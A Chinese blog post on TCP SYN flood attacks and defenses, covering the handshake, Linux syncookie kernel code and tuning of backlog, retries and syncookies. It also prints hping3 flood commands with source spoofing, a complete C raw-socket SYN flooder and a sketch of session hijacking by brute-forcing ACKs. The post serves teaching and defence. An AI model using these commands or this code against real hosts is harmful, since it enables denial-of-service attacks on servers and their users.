扯谈网络编程之Tcp SYN flood洪水攻击

简介: update 2017-5-11: syncookies 会点用 tcp_options 字段空间,会强制关闭 tcp 高级流控技术而退化成原始 tcp 模式。


update 2017-5-11: syncookies 会点用 tcp_options 字段空间,会强制关闭 tcp 高级流控技术而退化成原始 tcp 模式。此模式会导致 封包 丢失时 对端 要等待 MSL 时间来发现丢包事件并重试,以及关闭连接时 TIME_WAIT 状态保持 2MSL 时间。

简介

TCP协议要经过三次握手才能建立连接:

(from wiki)


于是出现了对于握手过程进行的攻击。攻击者发送大量的SYN包,服务器回应(SYN+ACK)包,但是攻击者不回应ACK包,这样的话,服务器不知道(SYN+ACK)是否发送成功,默认情况下会重试5次(tcp_syn_retries)。这样的话,对于服务器的内存,带宽都有很大的消耗。攻击者如果处于公网,可以伪造IP的话,对于服务器就很难根据IP来判断攻击者,给防护带来很大的困难。

攻与防

攻击者角度

从攻击者的角度来看,有两个地方可以提高服务器防御的难度的:

  • 变换端口
  • 伪造IP

变换端口很容易做到,攻击者可以使用任意端口。

攻击者如果是只有内网IP,是没办法伪造IP的,因为伪造的SYN包会被路由抛弃。攻击者如果是有公网IP,则有可能伪造IP,发出SYN包。(TODO,待更多验证)

hping3

hping3是一个很有名的网络安全工具,使用它可以很容易构造各种协议包。

用下面的命令可以很容易就发起SYN攻击:

sudo hping3 --flood -S -p 9999  x.x.x.x
#random source address
sudo hping3 --flood -S --rand-source -p 9999  x.x.x.x

--flood 是不间断发包的意思

-S         是SYN包的意思

更多的选项,可以man hping3 查看文档,有详细的说明。

如果是条件允许,可以伪造IP地址的话,可以用--rand-source参数来伪造。

我在实际测试的过程中,可以伪造IP,也可以发送出去,但是服务器没有回应,从本地路由器的统计数据可以看出是路由器把包给丢弃掉了。

我用两个美国的主机来测试,使用

sudo hping3 --flood -S  -p 9999  x.x.x.x

发现,实际上攻击效果有限,只有网络使用上涨了,服务器的cpu,内存使用都没有什么变化:


为什么会这样呢?下面再解析。

防御者角度

当可能遇到SYN flood攻击时,syslog,/var/log/syslog里可能会出现下面的日志:

kernel: [3649830.269068] TCP: Possible SYN flooding on port 9999. Sending cookies.  Check SNMP counters.
这个也有可能是SNMP协议误报,下面再解析。

从防御者的角度来看,主要有以下的措施:

  • 内核参数的调优
  • 防火墙禁止掉部分IP

linux内核参数调优主要有下面三个:

  • 增大tcp_max_syn_backlog
  • 减小tcp_synack_retries
  • 启用tcp_syncookies

tcp_max_syn_backlog

从字面上就可以推断出是什么意思。在内核里有个队列用来存放还没有确认ACK的客户端请求,当等待的请求数大于tcp_max_syn_backlog时,后面的会被丢弃。

所以,适当增大这个值,可以在压力大的时候提高握手的成功率。手册里推荐大于1024。

tcp_synack_retries

这个是三次握手中,服务器回应ACK给客户端里,重试的次数。默认是5。显然攻击者是不会完成整个三次握手的,因此服务器在发出的ACK包在没有回应的情况下,会重试发送。当发送者是伪造IP时,服务器的ACK回应自然是无效的。

为了防止服务器做这种无用功,可以把tcp_synack_retries设置为0或者1。因为对于正常的客户端,如果它接收不到服务器回应的ACK包,它会再次发送SYN包,客户端还是能正常连接的,只是可能在某些情况下建立连接的速度变慢了一点。

tcp_syncookies

根据man tcp手册,tcp_syncookies是这样解析的:

       tcp_syncookies (Boolean; since Linux 2.2)
              Enable TCP syncookies.  The kernel must be compiled with CONFIG_SYN_COOKIES.  Send out syncookies  when  the
              syn  backlog  queue  of  a socket overflows.  The syncookies feature attempts to protect a socket from a SYN
              flood attack.  This should be used as a last resort, if at all.  This is a violation of  the  TCP  protocol,
              and conflicts with other areas of TCP such as TCP extensions.  It can cause problems for clients and relays.
              It is not recommended as a tuning mechanism for heavily loaded servers to help with overloaded or misconfig‐
              ured   conditions.    For   recommended   alternatives   see  tcp_max_syn_backlog,  tcp_synack_retries,  and
              tcp_abort_on_overflow.

当半连接的请求数量超过了tcp_max_syn_backlog时,内核就会启用SYN cookie机制,不再把半连接请求放到队列里,而是用SYN cookie来检验。

手册上只给出了模糊的说明,具体的实现没有提到。

linux下SYN cookie的实现

查看了linux的代码(https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c )后,发现linux的实现并不是像wiki上

SYN cookie是非常巧妙地利用了TCP规范来绕过了TCP连接建立过程的验证过程,从而让服务器的负载可以大大降低。

在三次握手中,当服务器回应(SYN + ACK)包后,客户端要回应一个n + 1的ACK到服务器。其中n是服务器自己指定的。当启用tcp_syncookies时,linux内核生成一个特定的n值,而不并把客户的连接放到半连接的队列里(即没有存储任何关于这个连接的信息)。当客户端提交第三次握手的ACK包时,linux内核取出n值,进行校验,如果通过,则认为这个是一个合法的连接。

n即ISN(initial sequence number),是一个无符号的32位整数,那么linux内核是如何把信息记录到这有限的32位里,并完成校验的

首先,TCP连接建立时,双方要协商好MSS(Maximum segment size),服务器要把客户端在ACK包里发过来的MSS值记录下来。

另外,因为服务器没有记录ACK包的任何信息,实际上是绕过了正常的TCP握手的过程,服务器只能靠客户端的第三次握手发过来的ACK包来验证,所以必须要有一个可靠的校验算法,防止攻击者伪造ACK,劫持会话。

linux是这样实现的:

1. 在服务器上有一个60秒的计时器,即每隔60秒,count加一;

2. MSS是这样子保存起来的,用一个硬编码的数组,保存起一些MSS值:

static __u16 const msstab[] = {
	536,
	1300,
	1440,	/* 1440, 1452: PPPoE */
	1460,
};

比较客户发过来的mms,取一个比客户发过来的值还要小的mms。算法很简单:

/*
 * Generate a syncookie.  mssp points to the mss, which is returned
 * rounded down to the value encoded in the cookie.
 */
u32 __cookie_v4_init_sequence(const struct iphdr *iph, const struct tcphdr *th,
			      u16 *mssp)
{
	int mssind;
	const __u16 mss = *mssp;

	for (mssind = ARRAY_SIZE(msstab) - 1; mssind ; mssind--)
		if (mss >= msstab[mssind])
			break;
	*mssp = msstab[mssind];

	return secure_tcp_syn_cookie(iph->saddr, iph->daddr,
				     th->source, th->dest, ntohl(th->seq),
				     mssind);
}

比较客户发过来的mms,取一个比客户发过来的值还要小的mms。

真正的算法在这个函数里:

static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport,
				   __be16 dport, __u32 sseq, __u32 data)
{
	/*
	 * Compute the secure sequence number.
	 * The output should be:
	 *   HASH(sec1,saddr,sport,daddr,dport,sec1) + sseq + (count * 2^24)
	 *      + (HASH(sec2,saddr,sport,daddr,dport,count,sec2) % 2^24).
	 * Where sseq is their sequence number and count increases every
	 * minute by 1.
	 * As an extra hack, we add a small "data" value that encodes the
	 * MSS into the second hash value.
	 */
	u32 count = tcp_cookie_time();
	return (cookie_hash(saddr, daddr, sport, dport, 0, 0) +
		sseq + (count << COOKIEBITS) +
		((cookie_hash(saddr, daddr, sport, dport, count, 1) + data)
		 & COOKIEMASK));
}

data实际上是mss的值对应的数组下标,count是每一分钟会加1,sseq是客户端发过来的sequence。

这样经过hash和一些加法,得到了一个ISN值,其中里记录了这个连接合适的MSS值。


当接收到客户端发过来的第三次握手的ACK包时,反向检查即可:
/*
 * Check if a ack sequence number is a valid syncookie.
 * Return the decoded mss if it is, or 0 if not.
 */
int __cookie_v4_check(const struct iphdr *iph, const struct tcphdr *th,
		      u32 cookie)
{
	__u32 seq = ntohl(th->seq) - 1;
	__u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,
					    th->source, th->dest, seq);


	return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;
}

先得到原来的seq,再调用check_tcp_syn_cookie函数:
/*
 * This retrieves the small "data" value from the syncookie.
 * If the syncookie is bad, the data returned will be out of
 * range.  This must be checked by the caller.
 *
 * The count value used to generate the cookie must be less than
 * MAX_SYNCOOKIE_AGE minutes in the past.
 * The return value (__u32)-1 if this test fails.
 */
static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
				  __be16 sport, __be16 dport, __u32 sseq)
{
	u32 diff, count = tcp_cookie_time();


	/* Strip away the layers from the cookie */
	cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq;


	/* Cookie is now reduced to (count * 2^24) ^ (hash % 2^24) */
	diff = (count - (cookie >> COOKIEBITS)) & ((__u32) -1 >> COOKIEBITS);
	if (diff >= MAX_SYNCOOKIE_AGE)
		return (__u32)-1;


	return (cookie -
		cookie_hash(saddr, daddr, sport, dport, count - diff, 1))
		& COOKIEMASK;	/* Leaving the data behind */
}

先减去之前的一些值,第一个hash和sseq。然后计算现在的count(每60秒加1的计数器)和之前的发给客户端,然后客户端返回过来的count的差:
如果大于MAX_SYNCOOKIE_AGE,即2,即2分钟。则说明已经超时了。
否则,计算得出之前放进去的mss。这样内核就认为这个是一个合法的TCP连接,并且得到了一个合适的mss值,这样就建立起了一个合法的TCP连接。
可以看到SYN cookie机制十分巧妙地不用任何存储,以略消耗CPU实现了对第三次握手的校验。

但是有得必有失,ISN里只存储了MSS值,因此,其它的TCP Option都不会生效,这就是为什么SNMP协议会误报的原因了。

更强大的攻击者

SYN cookie虽然十分巧妙,但是也给攻击者带了新的攻击思路。

因为SYN cookie机制不是正常的TCP三次握手。因此攻击者可以构造一个第三次握手的ACK包,从而劫持会话。

攻击者的思路很简单,通过暴力发送大量的伪造的第三次握手的ACK包,因为ISN只有32位,攻击者只要发送全部的ISN数据ACK包,总会有一个可以通过服务器端的校验。

有的人就会问了,即使攻击者成功通过了服务器的检验,它还是没有办法和服务器正常通讯啊,因为服务器回应的包都不会发给攻击者。

刚开始时,我也有这个疑问,但是TCP允许在第三次握手的ACK包里带上后面请求的数据,这样可以加快数据的传输。所以,比如一个http服务器,攻击者可以通过在第三次握手的ACK包里带上http get/post请求,从而完成攻击。

所以对于服务器而言,不能只是依靠IP来校验合法的请求,还要通过其它的一些方法来加强校验。比如CSRF等。

值得提醒的是即使是正常的TCP三次握手过程,攻击者还是可以进行会话劫持的,只是概率比SYN cookie的情况下要小很多。

详细的攻击说明:http://www.91ri.org/7075.html

一个用raw socket SYN flood攻击的代码

下面给出一个tcp syn flood的攻击的代码:

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#pragma pack(1)
struct pseudo_header    //needed for checksum calculation
{
	unsigned int source_address;
	unsigned int dest_address;
	unsigned char placeholder;
	unsigned char protocol;
	unsigned short tcp_length;

	struct tcphdr tcp;
};
#pragma pack()

unsigned short csum(unsigned short *ptr, int nbytes) {
 long sum;
 unsigned short oddbyte;
 short answer;

 sum = 0;
 while (nbytes > 1) {
   sum += *ptr++;
   nbytes -= 2;
 }
 if (nbytes == 1) {
   oddbyte = 0;
   *((u_char*) &oddbyte) = *(u_char*) ptr;
   sum += oddbyte;
 }

 sum = (sum >> 16) + (sum & 0xffff);
 sum = sum + (sum >> 16);
 answer = (short) ~sum;

 return (answer);
}

void oneSyn(int socketfd, in_addr_t source, u_int16_t sourcePort,
		in_addr_t destination, u_int16_t destinationPort) {
	static char sendBuf[sizeof(iphdr) + sizeof(tcphdr)] = { 0 };
	bzero(sendBuf, sizeof(sendBuf));

	struct iphdr* ipHeader = (iphdr*) sendBuf;
	struct tcphdr *tcph = (tcphdr*) (sendBuf + sizeof(iphdr));

	ipHeader->version = 4;
	ipHeader->ihl = 5;

	ipHeader->tos = 0;
	ipHeader->tot_len = htons(sizeof(sendBuf));

	ipHeader->id = htons(1);
	ipHeader->frag_off = 0;
	ipHeader->ttl = 254;
	ipHeader->protocol = IPPROTO_TCP;
	ipHeader->check = 0;
	ipHeader->saddr = source;
	ipHeader->daddr = destination;

	ipHeader->check = csum((unsigned short*) ipHeader, ipHeader->ihl * 2);

	//TCP Header
	tcph->source = htons(sourcePort);
	tcph->dest = htons(destinationPort);
	tcph->seq = 0;
	tcph->ack_seq = 0;
	tcph->doff = 5; //sizeof(tcphdr)/4
	tcph->fin = 0;
	tcph->syn = 1;
	tcph->rst = 0;
	tcph->psh = 0;
	tcph->ack = 0;
	tcph->urg = 0;
	tcph->window = htons(512);
	tcph->check = 0;
	tcph->urg_ptr = 0;

	//tcp header checksum
	struct pseudo_header pseudoHeader;
	pseudoHeader.source_address = source;
	pseudoHeader.dest_address = destination;
	pseudoHeader.placeholder = 0;
	pseudoHeader.protocol = IPPROTO_TCP;
	pseudoHeader.tcp_length = htons(sizeof(tcphdr));
	memcpy(&pseudoHeader.tcp, tcph, sizeof(struct tcphdr));

	tcph->check = csum((unsigned short*) &pseudoHeader, sizeof(pseudo_header));

	struct sockaddr_in sin;
	sin.sin_family = AF_INET;
	sin.sin_port = htons(sourcePort);
	sin.sin_addr.s_addr = destination;

	ssize_t sentLen = sendto(socketfd, sendBuf, sizeof(sendBuf), 0,
			(struct sockaddr *) &sin, sizeof(sin));
	if (sentLen == -1) {
		perror("sent error");
	}
}

int main(void) {
	//for setsockopt
	int optval = 1;

	//create a raw socket
	int socketfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
	if (socketfd == -1) {
		perror("create socket:");
		exit(0);
	}
	if (setsockopt(socketfd, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval))
			< 0) {
		perror("create socket:");
		exit(0);
	}

	in_addr_t source = inet_addr("192.168.1.100");
	in_addr_t destination = inet_addr("192.168.1.101");
	u_int16_t sourcePort = 1;
	u_int16_t destinationPort = 9999;
	while (1) {
		oneSyn(socketfd, source, sourcePort++, destination,
				destinationPort);
		sourcePort %= 65535;
		sleep(1);
	}

	return 0;
}



总结:

对于SYN flood攻击,调整下面三个参数就可以防范绝大部分的攻击了。

  • 增大tcp_max_syn_backlog
  • 减小tcp_synack_retries
  • 启用tcp_syncookies
貌似现在的内核默认都是开启tcp_syncookies的。

参考:

http://www.redhat.com/archives/rhl-devel-list/2005-January/msg00447.html

man tcp

http://nixcraft.com/showthread.php/16864-Linux-Howto-test-and-stop-syn-flood-attacks

http://en.wikipedia.org/wiki/SYN_cookies

https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c

http://www.91ri.org/7075.html


相关实践学习
通过Ingress进行灰度发布
本场景您将运行一个简单的应用,部署一个新的应用用于新的发布,并通过Ingress能力实现灰度发布。
容器应用与集群管理
欢迎来到《容器应用与集群管理》课程,本课程是“云原生容器Clouder认证“系列中的第二阶段。课程将向您介绍与容器集群相关的概念和技术,这些概念和技术可以帮助您了解阿里云容器服务ACK/ACK Serverless的使用。同时,本课程也会向您介绍可以采取的工具、方法和可操作步骤,以帮助您了解如何基于容器服务ACK Serverless构建和管理企业级应用。 学习完本课程后,您将能够: 掌握容器集群、容器编排的基本概念 掌握Kubernetes的基础概念及核心思想 掌握阿里云容器服务ACK/ACK Serverless概念及使用方法 基于容器服务ACK Serverless搭建和管理企业级网站应用
相关文章
|
2月前
|
安全 数据安全/隐私保护
谨防二维码陷阱:揭秘网络钓鱼攻击与保护措施
当我们深入了解二维码的世界时,了解它们的特性和潜在风险变得至关重要,揭示了伴随其广泛普及的更为阴暗的一面
|
27天前
|
存储 安全 网络安全
如何识别和防范网络钓鱼攻击?
通过以上方法的综合运用,可以有效识别和防范网络钓鱼攻击,降低遭受网络安全威胁的风险,保护个人信息和财产安全。
63 12
|
29天前
|
安全 网络安全 数据安全/隐私保护
社会工程学攻击:了解并预防心理操控的网络欺诈
社会工程学攻击:了解并预防心理操控的网络欺诈
48 7
|
1月前
|
网络协议 算法 网络性能优化
计算机网络常见面试题(一):TCP/IP五层模型、TCP三次握手、四次挥手,TCP传输可靠性保障、ARQ协议
计算机网络常见面试题(一):TCP/IP五层模型、应用层常见的协议、TCP与UDP的区别,TCP三次握手、四次挥手,TCP传输可靠性保障、ARQ协议、ARP协议
|
2月前
|
Web App开发 缓存 网络协议
不为人知的网络编程(十八):UDP比TCP高效?还真不一定!
熟悉网络编程的(尤其搞实时音视频聊天技术的)同学们都有个约定俗成的主观论调,一提起UDP和TCP,马上想到的是UDP没有TCP可靠,但UDP肯定比TCP高效。说到UDP比TCP高效,理由是什么呢?事实真是这样吗?跟着本文咱们一探究竟!
59 10
|
1月前
|
存储 安全 网络安全
互联网上如何有效应对网络勒索攻击?
有效应对网络勒索攻击需要采取多方面的措施,从预防、监测到应急响应和数据恢复等多个环节进行综合防护。
45 4
|
2月前
|
域名解析 缓存 网络协议
TCP传输层详解(计算机网络复习)
本文详细解释了TCP/IP协议族的分层模型、各层的功能、TCP报文的格式以及TCP连接建立的三次握手和断开的四次挥手过程。
215 2
TCP传输层详解(计算机网络复习)
|
2月前
|
网络协议 Java API
【网络】TCP回显服务器和客户端的构造,以及相关bug解决方法
【网络】TCP回显服务器和客户端的构造,以及相关bug解决方法
64 2
|
2月前
|
存储 网络协议 Java
【网络】UDP和TCP之间的差别和回显服务器
【网络】UDP和TCP之间的差别和回显服务器
70 1
|
2月前
|
安全 网络协议 物联网
物联网僵尸网络和 DDoS 攻击的 CERT 分析
物联网僵尸网络和 DDoS 攻击的 CERT 分析